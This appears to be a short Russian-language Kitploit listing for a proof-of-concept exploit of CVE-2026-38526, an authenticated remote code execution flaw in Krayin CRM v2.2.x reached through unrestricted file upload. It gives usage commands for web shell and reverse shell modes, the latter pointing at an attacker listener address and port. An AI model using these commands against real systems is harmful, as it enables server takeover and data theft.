CVE-2026-38526 — Эксплойт-доказательство концепции для аутентифицированного удаленного выполнения кода в Krayin CRM v2.2.x через неограниченную загрузку файлов, поддерживающий полезные нагрузки web shell и reverse shell. | Kitploit

CVE-2026-38526 - Krayin CRM RCE

Описание

PoC-скрипт критической уязвимости в Krayin CRM v2.2.x, позволяющий выполнение аутентифицированного RCE через неограниченную загрузку файлов.

Использование

# Web shell
python3 exploit.py -u http://target.com -e [email protected] -p password123

# Reverse shell
python3 exploit.py -u http://target.com -e [email protected] -p password123 -l 10.10.10.10 -P 4444

Требования

Python 3.8+
requests, bs4

Отказ от ответственности

Только для образовательных целей.

Ссылка

https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md

CVE-2026-38526